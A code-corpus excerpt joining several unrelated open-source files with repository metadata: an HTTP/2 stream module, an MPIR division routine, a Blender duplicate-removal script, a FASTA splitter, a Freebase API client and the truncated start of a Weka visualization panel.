fin: false,
data: data
}, function (err) {
state.debug('id=%d postsend=%d', stream.id, data.length)
callback(err)
})
})
}
Stream.prototype._write = function _write (data, enc, callback) {
var state = this._spdyState
// Send the request if it wasn't sent
if (!state.sent) { this.send() }
// Writes should come after pending control frames (response and headers)
if (state.corked !== 0) {
var self = this
state.corkQueue.push(function () {
self._write(data, enc, callback)
})
return
}
// Split DATA in chunks to prevent window from going negative
this._splitStart(data, _send, callback)
}
Stream.prototype._splitStart = function _splitStart (data, onChunk, callback) {
return this._split(data, 0, onChunk, callback)
}
Stream.prototype._split = function _split (data, offset, onChunk, callback) {
if (offset === data.length) {
return process.nextTick(callback)
}
var state = this._spdyState
var local = state.window.send
var session = state.sessionWindow.send
var availSession = Math.max(0, session.getCurrent())
if (availSession === 0) {
availSession = session.getMax()
}
var availLocal = Math.max(0, local.getCurrent())
if (availLocal === 0) {
availLocal = local.getMax()
}
var avail = Math.min(availSession, availLocal)
avail = Math.min(avail, state.maxChunk)
var self = this
if (avail === 0) {
state.window.send.update(0, function () {
self._split(data, offset, onChunk, callback)
})
return
}
// Split data in chunks in a following way:
var limit = avail
var size = Math.min(data.length - offset, limit)
var chunk = data.slice(offset, offset + size)
onChunk(this, state, chunk, function (err) {
if (err) { return callback(err) }
// Get the next chunk
self._split(data, offset + size, onChunk, callback)
})
}
Stream.prototype._read = function _read () {
var state = this._spdyState
if (!state.window.recv.isDraining()) {
return
}
var delta = state.window.recv.getDelta()
state.debug('id=%d window emptying, update by %d', this.id, delta)
state.window.recv.update(delta)
state.framer.windowUpdateFrame({
id: this.id,
delta: delta
})
}
Stream.prototype._handleData = function _handleData (frame) {
var state = this._spdyState
// DATA on ended or not readable stream!
if (!state.readable || this._readableState.ended) {
state.framer.rstFrame({ id: this.id, code: 'STREAM_CLOSED' })
return
}
state.debug('id=%d recv=%d', this.id, frame.data.length)
state.window.recv.update(-frame.data.length)
this.push(frame.data)
}
Stream.prototype._handleRST = function _handleRST (frame) {
if (frame.code !== 'CANCEL') {
this.emit('error', new Error('Got RST: ' + frame.code))
}
this.abort()
}
Stream.prototype._handleWindowUpdate = function _handleWindowUpdate (frame) {
var state = this._spdyState
state.window.send.update(frame.delta)
}
Stream.prototype._onWindowOverflow = function _onWindowOverflow () {
var state = this._spdyState
state.debug('id=%d window overflow', this.id)
state.framer.rstFrame({ id: this.id, code: 'FLOW_CONTROL_ERROR' })
this.aborted = true
this.emit('error', new Error('HTTP2 window overflow'))
}
Stream.prototype._handlePriority = function _handlePriority (frame) {
var state = this._spdyState
state.priority.remove()
state.priority = null
this._initPriority(frame.priority)
// Mostly for testing purposes
this.emit('priority', frame.priority)
}
Stream.prototype._handleHeaders = function _handleHeaders (frame) {
var state = this._spdyState
if (!state.readable || this._readableState.ended) {
state.framer.rstFrame({ id: this.id, code: 'STREAM_CLOSED' })
return
}
if (state.needResponse) {
return this._handleResponse(frame)
}
this.emit('headers', frame.headers)
}
Stream.prototype._handleResponse = function _handleResponse (frame) {
var state = this._spdyState
if (frame.headers[':status'] === undefined) {
state.framer.rstFrame({ id: this.id, code: 'PROTOCOL_ERROR' })
return
}
state.needResponse = false
this.emit('response', frame.headers[':status'] | 0, frame.headers)
}
Stream.prototype._onFinish = function _onFinish () {
var state = this._spdyState
// Send the request if it wasn't sent
if (!state.sent) {
// NOTE: will send HEADERS with FIN flag
this.send()
} else {
// Just an `.end()` without any writes will trigger immediate `finish` event
// without any calls to `_write()`.
if (state.corked !== 0) {
var self = this
state.corkQueue.push(function () {
self._onFinish()
})
return
}
state.framer.dataFrame({
id: this.id,
priority: state.priority.getPriority(),
fin: true,
data: new Buffer(0)
})
}
this._maybeClose()
}
Stream.prototype._onEnd = function _onEnd () {
this._maybeClose()
}
Stream.prototype._checkEnded = function _checkEnded (callback) {
var state = this._spdyState
var ended = false
if (state.aborted) { ended = true }
if (!state.writable || this._writableState.finished) { ended = true }
if (!ended) {
return true
}
if (!callback) {
return false
}
var err = new Error('Ended stream can\'t send frames')
process.nextTick(function () {
callback(err)
})
return false
}
Stream.prototype._maybeClose = function _maybeClose () {
var state = this._spdyState
// .abort() emits `close`
if (state.aborted) {
return
}
if ((!state.readable || this._readableState.ended) &&
this._writableState.finished) {
// Clear timeout
state.timeout.set(0)
this.emit('close')
}
}
Stream.prototype._handlePushPromise = function _handlePushPromise (frame) {
var push = this.connection._createStream({
id: frame.promisedId,
parent: this,
push: true,
request: true,
method: frame.headers[':method'],
path: frame.headers[':path'],
host: frame.headers[':authority'],
priority: frame.priority,
headers: frame.headers,
writable: false
})
// GOAWAY
if (this.connection._isGoaway(push.id)) {
return
}
if (!this.emit('pushPromise', push)) {
push.abort()
}
}
Stream.prototype._hardCork = function _hardCork () {
var state = this._spdyState
this.cork()
state.corked++
}
Stream.prototype._hardUncork = function _hardUncork () {
var state = this._spdyState
this.uncork()
state.corked--
if (state.corked !== 0) {
return
}
// Invoke callbacks
var queue = state.corkQueue
state.corkQueue = []
for (var i = 0; i < queue.length; i++) {
queue[i]()
}
}
Stream.prototype._sendPush = function _sendPush (status, response, callback) {
var self = this
var state = this._spdyState
this._hardCork()
state.framer.pushFrame({
id: this.parent.id,
promisedId: this.id,
priority: state.priority.toJSON(),
path: this.path,
host: this.host,
method: this.method,
status: status,
headers: this.headers,
response: response
}, function (err) {
self._hardUncork()
callback(err)
})
}
Stream.prototype._wasSent = function _wasSent () {
var state = this._spdyState
return state.sent
}
// Public API
Stream.prototype.send = function send (callback) {
var state = this._spdyState
if (state.sent) {
var err = new Error('Stream was already sent')
process.nextTick(function () {
if (callback) {
callback(err)
}
})
return
}
state.sent = true
state.timeout.reset()
// GET requests should always be auto-finished
if (this.method === 'GET') {
this._writableState.ended = true
this._writableState.finished = true
}
// TODO(indunty): ideally it should just take a stream object as an input
var self = this
this._hardCork()
state.framer.requestFrame({
id: this.id,
method: this.method,
path: this.path,
host: this.host,
priority: state.priority.toJSON(),
headers: this.headers,
fin: this._writableState.finished
}, function (err) {
self._hardUncork()
if (!callback) {
return
}
callback(err)
})
}
Stream.prototype.respond = function respond (status, headers, callback) {
var self = this
var state = this._spdyState
assert(!state.request, 'Can\'t respond on request')
state.timeout.reset()
if (!this._checkEnded(callback)) { return }
var frame = {
id: this.id,
status: status,
headers: headers
}
this._hardCork()
state.framer.responseFrame(frame, function (err) {
self._hardUncork()
if (callback) { callback(err) }
})
}
Stream.prototype.setWindow = function setWindow (size) {
var state = this._spdyState
state.timeout.reset()
if (!this._checkEnded()) {
return
}
state.debug('id=%d force window max=%d', this.id, size)
state.window.recv.setMax(size)
var delta = state.window.recv.getDelta()
if (delta === 0) { return }
state.framer.windowUpdateFrame({
id: this.id,
delta: delta
})
state.window.recv.update(delta)
}
Stream.prototype.sendHeaders = function sendHeaders (headers, callback) {
var self = this
var state = this._spdyState
state.timeout.reset()
if (!this._checkEnded(callback)) {
return
}
// Request wasn't yet send, coalesce headers
if (!state.sent) {
this.headers = Object.assign({}, this.headers)
Object.assign(this.headers, headers)
process.nextTick(function () {
if (callback) {
callback(null)
}
})
return
}
this._hardCork()
state.framer.headersFrame({
id: this.id,
headers: headers
}, function (err) {
self._hardUncork()
if (callback) { callback(err) }
})
}
Stream.prototype.destroy = function destroy () {
this.abort()
}
Stream.prototype.abort = function abort (code, callback) {
var state = this._spdyState
// .abort(callback)
if (typeof code === 'function') {
callback = code
code = null
}
if (this._readableState.ended && this._writableState.finished) {
state.debug('id=%d already closed', this.id)
if (callback) {
process.nextTick(callback)
}
return
}
if (state.aborted) {
state.debug('id=%d already aborted', this.id)
if (callback) { process.nextTick(callback) }
return
}
state.aborted = true
state.debug('id=%d abort', this.id)
this.setTimeout(0)
var abortCode = code || 'CANCEL'
state.framer.rstFrame({
id: this.id,
code: abortCode
})
var self = this
process.nextTick(function () {
if (callback) {
callback(null)
}
self.emit('close', new Error('Aborted, code: ' + abortCode))
})
}
Stream.prototype.setPriority = function setPriority (info) {
var state = this._spdyState
state.timeout.reset()
if (!this._checkEnded()) {
return
}
state.debug('id=%d priority change', this.id, info)
var frame = { id: this.id, priority: info }
// Change priority on this side
this._handlePriority(frame)
// And on the other too
state.framer.priorityFrame(frame)
}
Stream.prototype.pushPromise = function pushPromise (uri, callback) {
if (!this._checkEnded(callback)) {
return
}
var self = this
this._hardCork()
var push = this.connection.pushPromise(this, uri, function (err) {
self._hardUncork()
if (!err) {
push._hardUncork()
}
if (callback) {
return callback(err, push)
}
if (err) { push.emit('error', err) }
})
push._hardCork()
return push
}
Stream.prototype.setMaxChunk = function setMaxChunk (size) {
var state = this._spdyState
state.maxChunk = size
}
Stream.prototype.setTimeout = function setTimeout (delay, callback) {
var state = this._spdyState
state.timeout.set(delay, callback)
}
|
projetoquixique/quixique
|
node_modules/spdy-transport/lib/spdy-transport/stream.js
|
JavaScript
|
gpl-3.0
| 16,127
|
/*
Copyright 2009 Jason Moxham
This file is part of the MPIR Library.
The MPIR Library is free software; you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published
by the Free Software Foundation; either version 2.1 of the License, or (at
your option) any later version.
The MPIR Library is distributed in the hope that it will be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public
License for more details.
You should have received a copy of the GNU Lesser General Public License
along with the MPIR Library; see the file COPYING.LIB. If not, write
to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
Boston, MA 02110-1301, USA.
*/
#include "mpir.h"
#include "gmp-impl.h"
#include "longlong.h"
// using a two limb inverse of a one limb divisor
mp_limb_t mpn_divrem_hensel_qr_1_2(mp_ptr qp, mp_srcptr xp, mp_size_t n, mp_limb_t d)
{mp_size_t j;mp_limb_t c,h,q,dummy,h1,t,ml,mh,xl,xh,ql,qh;
ASSERT(n>=2);ASSERT_MPN(xp,n);ASSERT(MPN_SAME_OR_SEPARATE_P(qp,xp,n));
ASSERT(d%2==1);
modlimb_invert(ml,d);
umul_ppmm(h,dummy,d,ml);ASSERT(dummy==1);
h=-h;mh=ml*h;// (mh,ml) is our two limb inverse
c=0;h=0;
for(j=0;j+1<=n-1;j+=2)
{xl=xp[j];xh=xp[j+1];
t=h+c;if(xh==0 && t>xl){c=1;}else{c=0;}
sub_ddmmss(xh,xl,xh,xl,0,t);
umul_ppmm(qh,ql,xl,ml);
qh=qh+xh*ml+xl*mh;
qp[j]=ql;qp[j+1]=qh;
umul_ppmm(h,h1,qh,d);
if(h1>xh)h++;}
if(j<=n-1)
{h1=xp[j];
t=h+c;if(t>h1){h1=h1-t;c=1;}else{h1=h1-t;c=0;}
q=h1*ml;
qp[j]=q;
umul_ppmm(h,dummy,q,d);
ASSERT(dummy==h1);}
return h+c;} // so (xp,n) = (qp,n)*d -ret*B^n and 0 <= ret < d
|
qsnake/mpir
|
mpn/generic/divrem_hensel_qr_1_2.c
|
C
|
gpl-3.0
| 1,749
|
#-----------------------------------------------------------------------------
#remove duplicates v1.3
#best way to remove duplicates, just select the objects you want the duplicates removed, then run this scrpit
import bpy
for obj in bpy.context.selected_objects:
if obj.type == 'MESH':
bpy.data.scenes[0].objects.active = obj # make obj active to do operations on it
bpy.ops.object.mode_set(mode='OBJECT', toggle=False) # set 3D View to Object Mode (probably redundant)
bpy.ops.object.mode_set(mode='EDIT', toggle=False) # set 3D View to Edit Mode
bpy.context.tool_settings.mesh_select_mode = [False, False, True] # set to face select in 3D View Editor
bpy.ops.mesh.select_all(action='SELECT') # make sure all faces in mesh are selected
bpy.ops.object.mode_set(mode='OBJECT', toggle=False) # very silly, you have to be in object mode to select faces!!
found = set([]) # set of found sorted vertices pairs
for face in obj.data.polygons:
facevertsorted = sorted(face.vertices[:]) # sort vertices of the face to compare later
if str(facevertsorted) not in found: # if sorted vertices are not in the set
found.add(str(facevertsorted)) # add them in the set
obj.data.polygons[face.index].select = False # deselect faces i want to keep
bpy.ops.object.mode_set(mode='EDIT', toggle=False) # set to Edit Mode AGAIN
bpy.ops.mesh.delete(type='FACE') # delete double faces
bpy.ops.mesh.select_all(action='SELECT')
bpy.ops.mesh.normals_make_consistent(inside=False) # recalculate normals
bpy.ops.mesh.remove_doubles(threshold=0.0001, use_unselected=False) #remove doubles
bpy.ops.mesh.normals_make_consistent(inside=False) # recalculate normals (this one or two lines above is redundant)
bpy.ops.object.mode_set(mode='OBJECT', toggle=False) # set to Object Mode AGAIN
|
infobeisel/polyvr
|
extras/blender_scripts/remove_double_vertices_and_faces.py
|
Python
|
gpl-3.0
| 2,067
|
/****************************************************************\
* *
* fastaexplode : break a fasta file into individual sequences *
* *
* Guy St.C. Slater.. mailto:guy@ebi.ac.uk *
* Copyright (C) 2000-2009. All Rights Reserved. *
* *
* This source code is distributed under the terms of the *
* GNU General Public License, version 3. See the file COPYING *
* or http://www.gnu.org/licenses/gpl.txt for details *
* *
* If you use this code, please keep this notice intact. *
* *
\****************************************************************/
#include <stdio.h>
#include "argument.h"
#include "fastadb.h"
static gboolean fasta_explode_traverse_func(FastaDB_Seq *fdbs,
gpointer user_data){
register gchar *dir_path = user_data;
register gchar *output_path = g_strconcat(dir_path,
G_DIR_SEPARATOR_S, fdbs->seq->id, ".fa", NULL);
register FILE *fp = fopen(output_path, "r");
if(fp){
fclose(fp);
g_error("File [%s] already exists", output_path);
}
fp = fopen(output_path, "w");
if(!fp)
g_error("Could not open [%s] to write output", output_path);
FastaDB_Seq_print(fdbs, fp, FastaDB_Mask_ID
|FastaDB_Mask_DEF
|FastaDB_Mask_SEQ);
g_free(output_path);
fclose(fp);
return FALSE;
}
int Argument_main(Argument *arg){
register FastaDB *fdb;
register ArgumentSet *as
= ArgumentSet_create("Sequence Input Options");
gchar *query_path, *dir_path;
ArgumentSet_add_option(as, 'f', "fasta", "path",
"Fasta input file", NULL,
Argument_parse_string, &query_path);
ArgumentSet_add_option(as, 'd', "directory", "path",
"Output file directory", ".",
Argument_parse_string, &dir_path);
Argument_absorb_ArgumentSet(arg, as);
Argument_process(arg, "fastaexplode",
"Split a fasta file up into individual sequences\n"
"Guy St.C. Slater. guy@ebi.ac.uk. 2000-2003.\n", NULL);
fdb = FastaDB_open(query_path, NULL);
FastaDB_traverse(fdb, FastaDB_Mask_ALL,
fasta_explode_traverse_func, dir_path);
FastaDB_close(fdb);
return 0;
}
|
adamewing/exonerate
|
src/util/fastaexplode.c
|
C
|
gpl-3.0
| 2,616
|
# ========================================================================
# Copyright (c) 2007, Metaweb Technologies, Inc.
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
# * Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# * Redistributions in binary form must reproduce the above
# copyright notice, this list of conditions and the following
# disclaimer in the documentation and/or other materials provided
# with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY METAWEB TECHNOLOGIES AND CONTRIBUTORS
# ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL METAWEB
# TECHNOLOGIES OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
# BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
# ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
# ========================================================================
#
# declarations for external metaweb api.
#
#
# from metaweb.api import HTTPMetawebSession
#
# mss = HTTPMetawebSession('sandbox.freebase.com')
# print mss.mqlread([dict(name=None, type='/type/type')])
#
#
#
__all__ = ['MetawebError', 'MetawebSession', 'HTTPMetawebSession', 'attrdict']
__version__ = '0.1'
import os, sys, re
import urllib2
import cookielib
import simplejson
from urllib import quote as urlquote
import pprint
import socket
import logging
try:
import httplib2
from httplib2cookie import CookiefulHttp
except ImportError:
httplib2 = None
CookiefulHttp = None
print ('freebase.api: you can install httplib2 for better performance')
import simplejson.encoder
# remove whitespace from json encoded output
simplejson.JSONEncoder.item_separator = ','
simplejson.JSONEncoder.key_separator = ':'
# don't escape slashes, we're not pasting into script tags here.
if simplejson.encoder.ESCAPE_DCT.get('/', None) == r'\/':
simplejson.encoder.ESCAPE_DCT['/'] = '/'
def urlencode_weak(s):
return urlquote(s, safe=',/:$')
# from http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/361668
class attrdict(dict):
"""A dict whose items can also be accessed as member variables.
>>> d = attrdict(a=1, b=2)
>>> d['c'] = 3
>>> print d.a, d.b, d.c
1 2 3
>>> d.b = 10
>>> print d['b']
10
# but be careful, it's easy to hide methods
>>> print d.get('c')
3
>>> d['get'] = 4
>>> print d.get('a')
Traceback (most recent call last):
TypeError: 'int' object is not callable
"""
def __init__(self, *args, **kwargs):
dict.__init__(self, *args, **kwargs)
self.__dict__ = self
# TODO expose the common parts of the result envelope
class MetawebError(Exception):
"""
an error report from the metaweb service.
"""
pass
# TODO right now this is a completely unnecessary superclass.
# is there enough common behavior between session types
# to justify it?
class MetawebSession(object):
"""
MetawebSession is the base class for MetawebSession, subclassed for
different connection types. Only http is available externally.
This is more of an interface than a class
"""
# interface definition here...
# from httplib2
NORMALIZE_SPACE = re.compile(r'(?:\r\n)?[ \t]+')
def _normalize_headers(headers):
return dict([ (key.lower(), NORMALIZE_SPACE.sub(value, ' ').strip()) for (key, value) in headers.iteritems()])
class HTTPMetawebSession(MetawebSession):
"""
a MetawebSession is a request/response queue.
this version uses the HTTP api, and is synchronous.
"""
# share cookies across sessions, so that different sessions can
# see each other's writes immediately.
_default_cookiejar = cookielib.CookieJar()
def __init__(self, service_url, username=None, password=None, prev_session=None, cookiejar=None, cookiefile=None):
"""
create a new MetawebSession for interacting with the Metaweb.
a new session will inherit state from prev_session if present,
"""
super(HTTPMetawebSession, self).__init__()
self.log = logging.getLogger()
assert not service_url.endswith('/')
if not '/' in service_url: # plain host:port
service_url = 'http://' + service_url
self.service_url = service_url
self.username = username
self.password = password
self.tid = None
if prev_session:
self.service_url = prev.service_url
if cookiefile is not None:
cookiejar = self.open_cookie_file(cookiefile)
if cookiejar is not None:
self.cookiejar = cookiejar
elif prev_session:
self.cookiejar = prev_session.cookiejar
else:
self.cookiejar = self._default_cookiejar
if CookiefulHttp is not None:
self.httpclient = CookiefulHttp(cookiejar=self.cookiejar)
else:
cookiespy = urllib2.HTTPCookieProcessor(self.cookiejar)
self.opener = urllib2.build_opener(cookiespy)
def open_cookie_file(self, cookiefile=None):
if cookiefile is None or cookiefile == '':
if os.environ.has_key('HOME'):
cookiefile = os.path.join(os.environ['HOME'], '.pyfreebase/cookiejar')
else:
raise MetawebError("no cookiefile specified and no $HOME/.pyfreebase directory" % cookiefile)
cookiejar = cookielib.LWPCookieJar(cookiefile)
if os.path.exists(cookiefile):
cookiejar.load(ignore_discard=True)
return cookiejar
def _httpreq(self, service_path, method='GET', body=None, form=None,
headers=None):
"""
make an http request to the service.
form arguments are encoded in the url, even for POST, if a non-form
content-type is given for the body.
returns a pair (resp, body)
resp is the response object and may be different depending
on whether urllib2 or httplib2 is in use?
"""
if method == 'POST':
assert body is not None or form is not None
elif method == 'GET':
assert body is None
else:
assert 0, 'unknown method %s' % method
url = self.service_url + service_path
if headers is None:
headers = {}
else:
headers = _normalize_headers(headers)
# XXX This is a lousy way to parse Content-Type, where is
# the library?
ct = headers.get('content-type', None)
if ct is not None:
ct = ct.split(';')[0]
if body is not None:
# if body is provided, content-type had better be too
assert ct is not None
if form is not None:
qstr = '&'.join(['%s=%s' % (urlencode_weak(k), urlencode_weak(v))
for k,v in form.items()])
if method == 'POST':
# put the args on the url if we're putting something else
# in the body. this is used to add args to raw uploads.
if body is not None:
url += '?' + qstr
else:
if ct is None:
# XXX encoding and stuff
ct = 'application/x-www-form-urlencoded'
headers['content-type'] = ct
if ct == 'multipart/form-encoded':
# XXX fixme
raise NotImplementedError
elif ct == 'application/x-www-form-urlencoded':
body = qstr
else:
# for all methods other than POST, use the url
url += '?' + qstr
# assure the service that this isn't a CSRF form submission
headers['x-metaweb-request'] = 'Python'
if 'user-agent' not in headers:
headers['user-agent'] = 'python freebase.api-%s' % __version__
#if self.tid is not None:
# headers['x-metaweb-tid'] = self.tid
####### DEBUG MESSAGE - should check log level before generating
if form is None:
formstr = ''
else:
formstr = 'FORM:\n ' + '\n '.join(['%s=%s' % (k,v)
for k,v in form.items()])
if headers is None:
headerstr = ''
else:
headerstr = 'HEADERS:\n ' + '\n '.join([('%s: %s' % (k,v))
for k,v in headers.items()])
self.log.debug('%s %s%s%s', method, url, formstr, headerstr)
#######
if CookiefulHttp is not None:
return self._httplib2_request(url, method, body, headers)
else:
return self._urllib2_request(url, method, body, headers)
def _raise_service_error(self, status, ctype, body):
is_jsbody = (e.info().type.endswith('javascript')
or e.info().type.endswith('json'))
if str(status) == '400' and is_jsbody:
r = self._loadjson(body)
msg = r.messages[0]
raise MetawebError(u'%s %s %r' % (msg.get('code',''), msg.message, msg.info))
raise MetawebError, 'request failed: %s: %r %r' % (url, str(e), body)
def _urllib2_request(self, url, method, body, headers):
req = urllib2.Request(url, body, headers)
try:
resp = self.opener.open(req)
except socket.error, e:
self.log.error('SOCKET FAILURE: %s', e.fp.read())
raise MetawebError, 'failed contacting %s: %s' % (url, str(e))
except urllib2.HTTPError, e:
_raise_service_error(e.code, e.info().type, e.fp.read())
for header in resp.info().headers:
self.log.debug('HTTP HEADER %s', header)
name, value = re.split("[:\n\r]", header, 1)
if name.lower() == 'x-metaweb-tid':
self.tid = value.strip()
return (resp, resp.read())
def _httplib2_request(self, url, method, body, headers):
try:
resp, content = self.httpclient.request(url, method=method,
body=body, headers=headers)
except socket.error, e:
self.log.error('SOCKET FAILURE: %s', e.fp.read())
raise MetawebError, 'failed contacting %s: %s' % (url, str(e))
except httplib2.HttpLib2ErrorWithResponse, e:
self._raise_service_error(resp.status, resp['content-type'], content)
except httplib2.HttpLib2Error, e:
raise MetawebError(u'HTTP error: %s' % (e,))
#tid = resp.get('x-metaweb-tid', None)
return (resp, content)
def _httpreq_json(self, *args, **kws):
resp, body = self._httpreq(*args, **kws)
return self._loadjson(body)
def _loadjson(self, json):
# TODO really this should be accomplished by hooking
# simplejson to create attrdicts instead of dicts.
def struct2attrdict(st):
"""
copy a json structure, turning all dicts into attrdicts.
copying descends instances of dict and list, including subclasses.
"""
if isinstance(st, dict):
return attrdict([(k,struct2attrdict(v)) for k,v in st.items()])
if isinstance(st, list):
return [struct2attrdict(li) for li in st]
return st
if json == '':
self.log.error('the empty string is not valid json')
raise MetawebError('the empty string is not valid json')
try:
r = simplejson.loads(json)
except ValueError, e:
self.log.error('error parsing json string %r' % json)
raise MetawebError, 'error parsing JSON string: %s' % e
return struct2attrdict(r)
def _check_mqlerror(self, r):
if r.code != '/api/status/ok':
for msg in r.messages:
self.log.error('mql error: %s %s %r' % (msg.code, msg.message, msg.get('query', None)))
raise MetawebError, 'query failed: %s %r' % (r.messages[0].code, r.messages[0].get('query', None))
def _mqlresult(self, r):
self._check_mqlerror(r)
# should check log level to avoid redundant simplejson.dumps
rstr = simplejson.dumps(r.result, indent=2)
if rstr[0] == '{':
rstr = rstr[1:-2]
self.log.info('result: %s', rstr)
return r.result
def login(self):
"""sign in to the service"""
assert self.username is not None
assert self.password is not None
self.log.debug('LOGIN USERNAME: %s', self.username)
try:
r = self._httpreq_json('/api/account/login', 'POST',
form=dict(username=self.username,
password=self.password))
except urllib2.HTTPError, e:
raise MetawebError("login error: %s", e)
if r.code != '/api/status/ok':
raise MetawebError(u'%s %r' % (r.get('code',''), r.messages))
self.log.debug('LOGIN RESP: %r', r)
self.log.debug('LOGIN COOKIES: %s', self.cookiejar)
def mqlreaditer(self, sq):
"""read a structure query"""
cursor = True
while 1:
subq = dict(query=[sq], cursor=cursor, escape=False)
qstr = simplejson.dumps(subq)
service = '/api/service/mqlread'
r = self._httpreq_json(service, form=dict(query=qstr))
for item in self._mqlresult(r):
yield item
if r['cursor']:
cursor = r['cursor']
self.log.info('CONTINUING with %s', cursor)
else:
return
def mqlread(self, sq):
"""read a structure query"""
subq = dict(query=sq, escape=False)
if isinstance(sq, list):
subq['cursor'] = True
service = '/api/service/mqlread'
# should check log level to avoid redundant simplejson.dumps
self.log.info('%s: %s',
service,
simplejson.dumps(sq, indent=2)[1:-2])
qstr = simplejson.dumps(subq)
r = self._httpreq_json(service, form=dict(query=qstr))
return self._mqlresult(r)
def trans(self, guid):
"""translate blob from guid """
url = '/api/trans/raw' + urlquote(guid)
self.log.info(url)
resp, body = self._httpreq(url)
self.log.info('%d bytes' % len(body))
return body
def mqlwrite(self, sq):
"""do a mql write"""
query = dict(query=sq, escape=False)
qstr = simplejson.dumps(query)
self.log.debug('MQLWRITE: %s', qstr)
service = '/api/service/mqlwrite'
# should check log level to avoid redundant simplejson.dumps
self.log.info('%s: %s',
service,
simplejson.dumps(sq, indent=2)[1:-2])
r = self._httpreq_json(service, 'POST',
form=dict(query=qstr))
self.log.debug('MQLWRITE RESP: %r', r)
return self._mqlresult(r)
def mqlflush(self):
"""ask the service not to hand us old data"""
self.log.debug('MQLFLUSH')
service = '/api/service/mqlwrite'
r = self._httpreq_json(service, 'POST', form={})
self._check_mqlerror(r)
return r
def upload(self, body, content_type, document_id=False):
"""upload to the metaweb"""
service = '/api/service/upload'
self.log.info('POST %s: %s (%d bytes)',
service, content_type, len(body))
headers = {}
if content_type is not None:
headers['content-type'] = content_type
form = None
if document_id is not False:
if document_id is None:
form = { 'document': '' }
else:
form = { 'document': document_id }
# note the use of both body and form.
# form parameters get encoded into the URL in this case
r = self._httpreq_json(service, 'POST',
headers=headers, body=body, form=form)
return self._mqlresult(r)
if __name__ == '__main__':
console = logging.StreamHandler()
console.setLevel(logging.DEBUG)
mss = HTTPMetawebSession('sandbox.freebase.com')
self.mss.log.setLevel(logging.DEBUG)
self.mss.log.addHandler(console)
print mss.mqlread([dict(name=None, type='/type/type')])
|
artzub/code_swarm-gource-my-conf
|
tools/codeswarm/lib/freebase/api/session.py
|
Python
|
gpl-3.0
| 17,231
|
/*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
/*
* VisualizePanel.java
* Copyright (C) 1999-2012 University of Waikato, Hamilton, New Zealand
*
*/
package weka.gui.visualize;
import java.awt.BorderLayout;
import java.awt.Color;
import java.awt.Component;
import java.awt.Dimension;
import java.awt.Graphics;
import java.awt.GridBagConstraints;
import java.awt.GridBagLayout;
import java.awt.GridLayout;
import java.awt.Insets;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.event.InputEvent;
import java.awt.event.MouseAdapter;
import java.awt.event.MouseEvent;
import java.awt.event.MouseMotionAdapter;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileReader;
import java.io.FileWriter;
import java.io.Writer;
import java.util.Random;
import javax.swing.BorderFactory;
import javax.swing.DefaultComboBoxModel;
import javax.swing.JButton;
import javax.swing.JComboBox;
import javax.swing.JFileChooser;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JOptionPane;
import javax.swing.JPanel;
import javax.swing.JSlider;
import javax.swing.SwingConstants;
import javax.swing.event.ChangeEvent;
import javax.swing.event.ChangeListener;
import javax.swing.filechooser.FileFilter;
import weka.core.Attribute;
import weka.core.FastVector;
import weka.core.Instance;
import weka.core.Instances;
import weka.gui.ExtensionFileFilter;
import weka.gui.Logger;
/**
* This panel allows the user to visualize a dataset (and if provided) a
* classifier's/clusterer's predictions in two dimensions.
*
* If the user selects a nominal attribute as the colouring attribute then
* each point is drawn in a colour that corresponds to the discrete value
* of that attribute for the instance. If the user selects a numeric
* attribute to colour on, then the points are coloured using a spectrum
* ranging from blue to red (low values to high).
*
* When a classifier's predictions are supplied they are plotted in one
* of two ways (depending on whether the class is nominal or numeric).<br>
* For nominal class: an error made by a classifier is plotted as a square
* in the colour corresponding to the class it predicted.<br>
* For numeric class: predictions are plotted as varying sized x's, where
* the size of the x is related to the magnitude of the error.
*
* @author Mark Hall (mhall@cs.waikato.ac.nz)
* @author Malcolm Ware (mfw4@cs.waikato.ac.nz)
* @version $Revision: 8034 $
*/
public class VisualizePanel
extends PrintablePanel {
/** for serialization */
private static final long serialVersionUID = 240108358588153943L;
/** Inner class to handle plotting */
protected class PlotPanel
extends PrintablePanel
implements Plot2DCompanion {
/** for serialization */
private static final long serialVersionUID = -4823674171136494204L;
/** The actual generic plotting panel */
protected Plot2D m_plot2D = new Plot2D();
/** The instances from the master plot */
protected Instances m_plotInstances=null;
/** The master plot */
protected PlotData2D m_originalPlot=null;
/** Indexes of the attributes to go on the x and y axis and the attribute
to use for colouring and the current shape for drawing */
protected int m_xIndex=0;
protected int m_yIndex=0;
protected int m_cIndex=0;
protected int m_sIndex=0;
/**the offsets of the axes once label metrics are calculated */
